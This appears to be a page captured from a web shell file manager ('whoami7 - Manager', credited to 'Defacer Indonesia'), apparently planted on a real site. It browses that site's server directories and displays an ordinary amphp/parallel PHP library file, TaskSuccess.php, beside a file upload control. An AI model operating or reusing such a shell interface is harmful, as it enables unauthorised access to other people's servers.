whoami7 - Manager
:
/
home
/
kckglobal
/
www
/
portal
/
vendor
/
amphp
/
parallel
/
lib
/
Worker
/
Internal
/
Upload File:
files >> //home/kckglobal/www/portal/vendor/amphp/parallel/lib/Worker/Internal/TaskSuccess.php
<?php namespace Amp\Parallel\Worker\Internal; use Amp\Failure; use Amp\Parallel\Worker\Task; use Amp\Promise; use Amp\Success; /** @internal */ final class TaskSuccess extends TaskResult { /** @var mixed Result of task. */ private $result; public function __construct(string $id, $result) { parent::__construct($id); $this->result = $result; } public function promise(): Promise { if ($this->result instanceof \__PHP_Incomplete_Class) { return new Failure(new \Error(\sprintf( "Class instances returned from %s::run() must be autoloadable by the Composer autoloader", Task::class ))); } return new Success($this->result); } }
Copyright ©2021 || Defacer Indonesia